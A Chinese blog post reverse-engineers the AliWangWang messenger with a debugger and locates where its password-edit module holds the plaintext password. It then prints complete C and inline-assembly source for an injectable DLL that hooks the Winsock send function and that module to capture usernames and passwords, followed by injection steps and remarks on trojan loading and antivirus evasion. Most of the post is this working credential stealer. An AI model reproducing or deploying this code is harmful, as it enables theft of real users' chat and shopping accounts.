Author:mzydcg
XXX:http://hi.baidu.com/resoft007
QQ:11215160
这两天闲来无事,学校没啥事情,学习任务也不是很重,就剩下写论文了,分析了一下阿里旺旺,阿里旺旺的保护机制没有想象中的强大。
1.打开阿里旺旺,通过SetWindowsHook和GetKeyData的方式都不能获得阿里旺旺的密码;
2.通过Xuetr工具查看,AliIM.exe并没有异常的应用层钩子和底层驱动;
3.直接OD附加旺旺进行调试;
4.给发送函数下断点(Send、Sendto、WSASend、WSASendto等函数)旺旺用的是Send函数发送;
5.下硬件断点直接F9运行,断下来后发现函数调用栈中始终是在Alinet模块中(估计这个模块是旺旺专门用来进行网络数据处理的模块),并且发现栈中参数的数据都是加密处理的

 
6.重新运行,输入密码“Test123456”,在内存中搜索,发现



7.踏破铁血无觅处,得来全不费工夫,内存中公有两处,很明显第二处是密码的内存位置,直接上内存访问断点。
8.再次运行发现以下位置
053BB87F 68 50454205pus aliedit.05424550    ; ASCII "0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM`[]\;',./~!@#$%^&*()_+-={}|:""<>?"
053BB884    46              inc     esi
053BB885    E8 E6870400     call    aliedit.05404070
053BB88A    59              pop     ecx
053BB88B    3BF0            cmp     esi, eax
053BB88D  ^ 72 E2           jb      short aliedit.053BB871
053BB88F    EB 36           jmp     short aliedit.053BB8C7
053BB891    0FB686 58404505 movzx   eax, byte ptr [esi+5454058]
053BB898    50              push    eax                           //断点在此处
9.上面并没有在寄存器或者栈中出现密码的明确地址(其实强制hook读取上一句汇编代码的内存地址,从而取出密码的内存地址也是可以的,为了方便写代码,继续找明确的地址)
10.依次往下层进行跟踪分析,找到如下位置
0527B6EE    83C7 04         add     edi, 4
0527B6F1    57              push    edi
0527B6F2    FFB6 08010000   push    dword ptr [esi+108]
0527B6F8    E8 0F590300     call    aliedit.052B100C   //edi中存的是密码
Aliedit模块,内存基址是0x05270000 ,偏移是B6F8
11.然后我们就可以写程序获取了(程序写的很乱,大家凑合看吧)。
 #include   <windows.h>   
#include   <winsock.h> 
DWORD gOffset = 0xB6F8;// 模块偏移
DWORD gPassFunAddr = 0; //被hook的地址
DWORD gSendNextAddr = 0;//跳到原来的地址执行

BYTE bHooked1[5] = {0};//保存替换掉内容
BYTE bHooked2[5] = {0};//保存替换掉内容
typedef int (WINAPI *MySend)( SOCKET s,
                  const char FAR * buf,
                  int len,
                  int flags);

void dbgprint(const char *format, ...)
{
 DWORD pid = 0;
 va_list vl;
 char dbgbuf1[2048] = {0};
 char dbgbuf2[2048] = {0};  
 pid = GetCurrentThreadId();
 va_start(vl, format);
 wvsprintfA(dbgbuf1, format, vl);
 wsprintfA(dbgbuf2, "%lu: %s\r\n", pid, dbgbuf1);
 va_end(vl); 
 OutputDebugStringA(dbgbuf2);
}
void HookJmpFun( DWORD dwHookedAddr,VOID* pHookFun,BYTE keyCode[5] )
{
 BYTE  data[5];
 DWORD oldpro=0,newpro=0; 
 data[0] = 0xE9;
 DWORD  dwJmpCode = (DWORD)pHookFun - dwHookedAddr -5;
 memcpy(&data[1],&dwJmpCode,4);
 VirtualProtect((void*)dwHookedAddr,6,PAGE_EXECUTE_READWRITE,&oldpro);
 memcpy((void*)dwHookedAddr,&data[0],5);
 VirtualProtect((void*)dwHookedAddr,6,oldpro,&newpro);
}
void UnHookJmpFun( DWORD dwHookedAddr,VOID* oldAddr)
{
 DWORD oldpro=0,newpro=0; 
 VirtualProtect((void*)dwHookedAddr,6,PAGE_EXECUTE_READWRITE,&oldpro);
 memcpy((void*)dwHookedAddr,oldAddr,5);
 VirtualProtect((void*)dwHookedAddr,6,oldpro,&newpro);
}
void DbgPassWd(char *szPassWd)
{
 dbgprint("The PassWd is %s",szPassWd);
 //UnHook
 UnHookJmpFun(gPassFunAddr,(LPVOID)bHooked1);
 //memcpy((LPVOID)gPassFunAddr,bHooked1,5);
}
void DbgUserName(char *szUserName)
{
 //
 //GET /imlogingw/tcp60login?ver=7.00.07C&loginId=cntaobaomzydcg HTTP/1.1  
 //
 char szTemp[100] = {0};
 memcpy(szTemp,szUserName,100);
 szTemp[99] = 0;
 char *szTemp1;
 char *szTemp2;
 szTemp1 = strstr(szTemp,"cntaobao");
 szTemp1 = szTemp1 + 8;
 szTemp2 = strchr(szTemp1,' ');
 char szUser[50] = {0};
 memset(szUser,0,50);
 memcpy(szUser,szTemp1,szTemp2 - szTemp1);
 dbgprint("The User is :%s",szUser);
 //UnHook
 UnHookJmpFun( gSendNextAddr-5,(LPVOID)bHooked2);
}
__declspec(naked) void  MyGetPass()
{
    _asm{
  push edi
     call DbgPassWd
  add esp,0x4
  jmp gPassFunAddr
 }
}
__declspec(naked) void  NakedSend()
{
    _asm{
  pushad
  pushfd
  push ecx
  call DbgUserName
  add esp,0x04
  popfd
  popad 
  mov    edi, edi
  push   ebp
  mov    ebp, esp
  push   gSendNextAddr
  ret 
 }
}
void HookPassFun()
{
 TCHAR  szAliedit[] = {'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'a', 'l', 'i', 'e', 'd', 'i', 't', '\\', 'a', 'l', 'i', 'e', 'd', 'i', 't', '.', 'd', 'l', 'l', 0x00};
 HMODULE  hMod = GetModuleHandleA(szAliedit);
 if (NULL  == hMod)
 {
  dbgprint("GetModuleHandleA Aliedit Wrong!");
  return ;
 }
 //Hook之前先保存一下Hook地址的内容
 gPassFunAddr = (DWORD)hMod + gOffset;
 memcpy(bHooked1,(LPVOID)gPassFunAddr,5);
 HookJmpFun(gPassFunAddr,(PVOID)MyGetPass,NULL);
}
void HookSendFun()
{
 char  szWS2_32[] = {'w', 's', '2', '_', '3', '2', 0x00};
 HMODULE  hMod = GetModuleHandleA(szWS2_32);
 if (NULL  == hMod)
 {
  dbgprint("GetModuleHandle WS2_32 Wrong");
  return ;
 }
 //
 // 勾住Send
 //
 char  szSendName[] = {'s', 'e', 'n', 'd', 0x00};
 MySend  MySendFun = NULL;
 
 MySendFun = (MySend)GetProcAddress(hMod,szSendName);
 if (NULL == MySendFun)
 {
  return;
 }
 gSendNextAddr = (DWORD)MySendFun + 5;
 memcpy(bHooked2,(LPVOID)MySendFun,5);
 HookJmpFun((DWORD)MySendFun,(PVOID)NakedSend,NULL);
}

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
      )
{

 switch (ul_reason_for_call)
 {
 case DLL_PROCESS_ATTACH:
  //dbgprint("Begin Hook");
  HookSendFun();
  HookPassFun();
  break;
  
 case DLL_THREAD_ATTACH:
 case DLL_THREAD_DETACH:
  
 case DLL_PROCESS_DETACH:
  //dbgprint("End Hook");
  break;
 }
    return TRUE;
}
应该是Aliedit模块
12.打开OD和旺旺,Attach上,通过Strong OD(好东西)的Inject Dll功能,注入到旺旺进程中去。输入用户名密码得到如下:

13.具体的各种Dll注入方式,大家各有各的方法,个人感觉木马最难的就是加载和自启动(3xx等杀软,干稍微敏感一点的事,他就报)。